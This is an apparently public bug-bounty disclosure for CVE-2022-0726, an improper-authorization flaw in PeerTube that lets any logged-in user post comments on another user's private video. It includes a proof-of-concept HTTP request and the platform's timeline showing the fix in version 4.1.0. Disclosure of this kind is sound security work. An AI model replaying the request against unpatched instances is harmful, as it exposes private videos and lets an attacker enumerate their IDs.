Improper Authorization in chocobozzz/peertube

1

Valid Reported on Feb 13th 2022

Description

The app doesn't check the status of video when making data changes. Normal users can create new comment or reply comment in private videos.

Proof of Concept

note: I'm using instance p.lu for testing

Step 1: Login as video test1 and upload private video. Get video ID of private video
Step 2: Call this request with Token from user test2

```
POST /api/v1/videos/53328/comment-threads HTTP/2
Host: p.lu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/201001
Accept: application/json, text/plain, */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Bearer d8163b600e3de89c6039af034a94bd3898d68825
Content-Type: application/json
Content-Length: 16
Origin: https://p.lu
Referer: https://p.lu/w/87rzixn5tGiFBA5iojv9RP
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"text":"hello"}
```

Step 3: In browser of user test1, you can see count of like for video is 1.
PoC:

send comment: https://drive.google.com/file/d/1qkNAeu5vSsdA7-PeWszHbIngiiLzk9u_/view?usp=sharing
comment in private video:
https://drive.google.com/file/d/1jdIuH75caNHvTZob7vBtsvKkVKbz2pcF/view?usp=sharing

Impact

Attackers can create comment in private videos. It can be abused to list the id's of private videos based on the response when making API call.

CVE
CVE-2022-0726
(Published)

Vulnerability Type
CWE-285: Improper Authorization

Severity
Medium (5.4)

Visibility
Public

Status
Fixed

Found by

nhiephon
@nhiephon
master

Fixed by

chocobozzz
@chocobozzz
unranked

Chat with us

We are processing your report and will contact the **chocobozzz/peertube** team within 24 hours.
9 months ago

We have contacted a member of the **chocobozzz/peertube** team and are waiting to hear back
9 months ago

We have sent a follow up to the **chocobozzz/peertube** team. We will try again in 7 days.
9 months ago

chocobozzz validated this vulnerability 9 months ago

nhiephon has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

chocobozzz marked this as fixed in **4.1.0** with commit **6ea929** 9 months ago

chocobozzz has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Sign in to join this conversation